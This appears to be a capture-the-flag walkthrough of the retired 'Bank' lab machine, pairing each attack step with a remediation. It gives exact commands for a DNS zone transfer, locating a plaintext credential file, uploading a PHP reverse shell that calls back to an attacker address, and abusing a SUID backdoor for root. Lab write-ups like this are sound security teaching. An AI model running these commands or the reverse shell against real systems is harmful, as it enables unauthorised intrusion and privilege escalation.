← all walkthroughs

Bank

Linux· Easy· Web
owned
2026-07-02
time to own
9m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a misconfigured DNS server to dump the full zone for bank.htb, revealing all virtual hostnames. Web directory listing then exposed hundreds of account-record files, and one file — whose encryption routine had silently failed — contained a plaintext username and password. After logging in, I discovered (via an HTML comment left by a developer) that the file-upload filter could be bypassed using a .htb extension, which the server executes as PHP.

Uploading a PHP reverse shell and triggering it returned a foothold as the web-server account. A non-standard SUID-root binary installed by administrators as an emergency back-door then granted an instant root shell with no additional authentication.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceDNS Zone Transfer (AXFR)
DNS zone transfer dumped every hostname in the bank.htb domain
The BIND 9 name-server on port 53 accepted an AXFR (full zone transfer) request from any unauthenticated source. The response returned the complete DNS zone for bank.htb, including ns.bank.htb, a CNAME for www.bank.htb, and the SOA contact chris.bank.htb — confirming the existence of a user named chris and the exact virtual-host structure required to reach the web application.
Dig axfr bank.htb @$TARGET returned SOA record chris.bank.htb and CNAME www.bank.htb → bank.htb with no authentication required
Exact commands 2
Request full zone transfer; reveals all DNS records including vhosts and the SOA contact that hints at username 'chris'.
dig axfr bank.htb @$TARGET +noall +answer
Map the discovered virtual hostnames to the target IP before proceeding to web enumeration.
echo "$TARGET bank.htb www.bank.htb" | sudo tee -a /etc/hosts
FixRestrict DNS zone transfers to authorised secondary name-servers onlyMedium
WeaknessThe BIND name-server was configured to answer AXFR (zone-transfer) requests from any IP address without authentication, allowing any external party to download the complete list of hostnames for bank.htb and map the internal application structure instantly.
FixIn /etc/bind/named.conf.options (or the relevant zone stanza), set 'allow-transfer { none; };' globally and override it only for the IP addresses of legitimate secondary name-servers. After the change, verify from an external host with 'dig axfr bank.htb @<server>' — the response must be REFUSED. Also review whether internal hostnames (e.g., chris.bank.htb) need to be present in the public-facing zone at all.
2EnumerationWeb Directory Listing / Forced Browsing
Unprotected directory listing exposed hundreds of account-record files
Apache had directory listing enabled on /balance-transfer/, making the names and sizes of every .acc file visible to any unauthenticated visitor. There was no login requirement and no access control on this path. Comparing file sizes across the listing immediately revealed one file that was anomalously small — the clue that led to the plaintext credential discovery in the next step.
Curl -s http://bank.htb/balance-transfer/ returned an Apache-generated file index; size comparison identified [REDACTED: sensitive value].acc as the outlier
Exact commands 2
List all .acc filenames from the directory index page.
curl -s http://bank.htb/balance-transfer/ | grep -oE 'href="[^"]+\.acc"' | cut -d'"' -f2
Rank .acc files by Content-Length; the smallest file is the one whose encryption failed and contains plaintext data.
curl -s http://bank.htb/balance-transfer/ | grep -oE '[0-9a-f]{32}\.acc' | while read f; do size=$(curl -sI http://bank.htb/balance-transfer/$f | grep -i content-length | awk '{print $2}' | tr -d '\r'); echo "$size $f"; done | sort -n | head -5
FixDisable Apache directory listing on all web directoriesHigh
WeaknessApache had directory listing (Options Indexes) enabled on /balance-transfer/, making every account-record file visible to unauthenticated visitors and allowing an unauthorised user to enumerate and compare file sizes to locate the anomalous plaintext record.
FixRemove 'Options Indexes' from all Directory and VirtualHost blocks, or explicitly set 'Options -Indexes' in the site configuration. Audit all web-accessible paths and ensure no sensitive data directories are browsable. As a defence-in-depth measure, move account data storage entirely behind an authenticated application layer rather than serving raw files from the web root.
3Credential AccessSensitive Data Exposure / Silent Encryption Failure
Plaintext credentials recovered from a failed-encryption account record
The anomalously small file — [REDACTED: sensitive value].acc — began with the header '--ERR ENCRYPT FAILED', indicating the application's encryption routine had silently given up and written the record in plaintext. The file contained the full account entry for chris@bank.htb, including a cleartext password ([REDACTED: recovered credential]). No error was raised to an administrator, and the file remained publicly readable.
File [REDACTED: sensitive value].acc contained the literal string '--ERR ENCRYPT FAILED' followed by email: chris@bank.htb and password: [REDACTED: recovered credential]
Exact commands 1
Retrieve the small outlier file; the '--ERR ENCRYPT FAILED' header and plaintext credentials are immediately visible.
curl -s http://bank.htb/balance-transfer/[REDACTED: sensitive value].acc
FixHandle encryption failures safely and never store credentials in plaintextCritical
WeaknessWhen the application's encryption routine failed for one account record, it silently wrote the record — including username and password — to a publicly accessible file with no error, no alerting, and no access control. This exposed valid application credentials to any unauthenticated visitor.
FixFix the encryption implementation and add error handling that aborts the write operation and raises a security alert on any encryption failure — never fall back to plaintext storage. Rotate the exposed credentials (chris@bank.htb / [REDACTED: recovered credential]) immediately. Audit all existing .acc files for additional plaintext records. Remove all account-data files from the web root and serve that data only through authenticated, server-side application logic.
4Initial AccessValid Account — Compromised Credentials
Authenticated to the bank application as customer chris
The plaintext credentials chris@bank.htb / [REDACTED: recovered credential] authenticated successfully to the login portal at /login.php, granting access to the full bank application — including the support-ticket feature that provides the file-upload vector for the next stage.
POST to /login.php with the recovered credentials returned an authenticated session cookie and the bank dashboard
Exact commands 1
Authenticate and save the session cookie; a 200 redirect to the dashboard confirms success.
curl -s -c cookies.txt -b cookies.txt -d 'email=chris%40bank.htb&password=[REDACTED: recovered credential]' http://bank.htb/login.php -L -o /dev/null -w '%{http_code}'
5ExploitationUnrestricted File Upload / Extension Filter Bypass
Uploaded a PHP reverse shell by bypassing the file-extension filter
The support ticket page at support.php blocked .php file uploads, but its HTML source contained a developer debug comment stating that files with a .htb extension are executed as PHP — an undocumented bypass the developer had added for their own testing and never removed. A standard PHP reverse-shell payload was renamed shell.htb and submitted as a ticket attachment; the upload filter accepted it without restriction.
HTML comment in support.php source: '<!-- [DEBUG] I added the file extension .htb to be compatible with the .htb filter' confirmed .htb is executed as PHP; upload of shell.htb succeeded with HTTP 200
Exact commands 3
Read the developer HTML comment that explicitly names the .htb bypass.
curl -s -b cookies.txt http://bank.htb/support.php | grep -i 'htb\|debug\|extension'
Create the PHP reverse-shell payload as shell.htb, substituting your tun0 IP and chosen listener port.
cp /usr/share/webshells/php/php-reverse-shell.php shell.htb && sed -i "s/127.0.0.1/$ATTACKER_IP/" shell.htb && sed -i 's/1234/4444/' shell.htb
Upload shell.htb as a ticket attachment; note the filename/path of the uploaded file from the response for the next step.
curl -s -b cookies.txt -F 'title=x' -F 'message=x' -F 'fileToUpload=@shell.htb;filename=shell.htb;type=application/octet-stream' -F 'submitadd=Submit' http://bank.htb/support.php
FixEnforce a strict whitelist for uploaded file extensions and disable PHP execution in upload directoriesCritical
WeaknessThe file-upload filter blocked .php but permitted .htb files, and the web server was configured to execute .htb as PHP. A developer debug comment in the HTML source even disclosed the bypass, directly guiding an unauthorised user to the working vector.
FixReplace the extension blocklist with a strict whitelist: accept only the exact extensions the business requires (e.g., .pdf, .png, .jpg) and reject everything else with a logged error. Remove any AddHandler, AddType, or php_value directives that map non-standard extensions to PHP (check both the Apache configuration and any .htaccess files). Store uploaded files outside the web root, or in a directory with 'php_flag engine off' and 'Options -ExecCGI' set. Purge all developer debug comments from production HTML before deployment.
6FootholdServer-Side PHP Execution via Malicious Upload
Triggered the uploaded shell and gained a remote shell as www-data
Requesting the URL of the uploaded shell.htb attachment caused Apache to hand execution to PHP, which connected back to my listener. The resulting shell ran as www-data — the Apache service account. From this foothold, I confirmed their identity and read the user flag from /home/chris/user.txt.
Reverse-shell callback received as www-data@bank; id; whoami; hostname confirmed; user.txt read from /home/chris/
Exact commands 4
Start the listener on my machine BEFORE triggering the shell.
nc -lvnp 4444
Request the uploaded file to trigger PHP execution and receive the callback. Find the exact upload path from the ticket page source if the path differs.
curl -s -b cookies.txt 'http://bank.htb/uploads/shell.htb'
Confirm execution context: expected output is uid=33(www-data).
id; whoami; hostname
Locate and read the user flag: <user.txt>
find / -name user.txt -type f 2>/dev/null -print -exec cat {} \;
7Privilege EscalationSUID Binary Abuse — Custom Backdoor
Executed a SUID-root backdoor binary for an instant root shell
Enumerating SUID binaries with a standard one-liner revealed /var/htb/bin/emergency — a non-standard, custom binary owned by root with the SUID bit set. Running it dropped directly into an interactive root shell with no password or further authentication required. This binary acts as a persistent root backdoor that any local user can exploit. The root flag was retrieved from /root/root.txt.
Find / -perm -4000 output included /var/htb/bin/emergency; printf 'id\n...' | /var/htb/bin/emergency returned uid=0(root) euid=0(root)
Exact commands 3
Enumerate all SUID binaries system-wide; /var/htb/bin/emergency is immediately recognisable as non-standard.
find / -perm -4000 -type f 2>/dev/null
Confirm it is owned by root and has the SUID bit: -rwsr-xr-x root root.
ls -la /var/htb/bin/emergency
Pipe commands into the binary; it executes them as root and returns the root flag: <root.txt>
printf 'id\ncat /root/root.txt\nexit\n' | /var/htb/bin/emergency
FixRemove the SUID-root emergency binary and audit all SUID permissionsCritical
WeaknessA custom binary at /var/htb/bin/emergency had the SUID bit set and was owned by root, granting any local user who could execute it an immediate root shell with no authentication. This is a persistent root backdoor that any compromised local account can exploit.
FixRemove the binary immediately: 'rm /var/htb/bin/emergency'. Run 'find / -perm -4000 -type f 2>/dev/null' and compare against a documented baseline of legitimate SUID binaries (e.g., passwd, sudo, ping); strip the SUID bit ('chmod u-s <file>') from anything not on the approved list. Schedule a weekly automated audit (e.g., cron + file-integrity monitoring) to alert on any new SUID binary. If emergency administrative access is a genuine operational requirement, implement it through sudo with tightly scoped command rules and multi-factor authentication rather than SUID binaries.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
53/tcp
80/tcp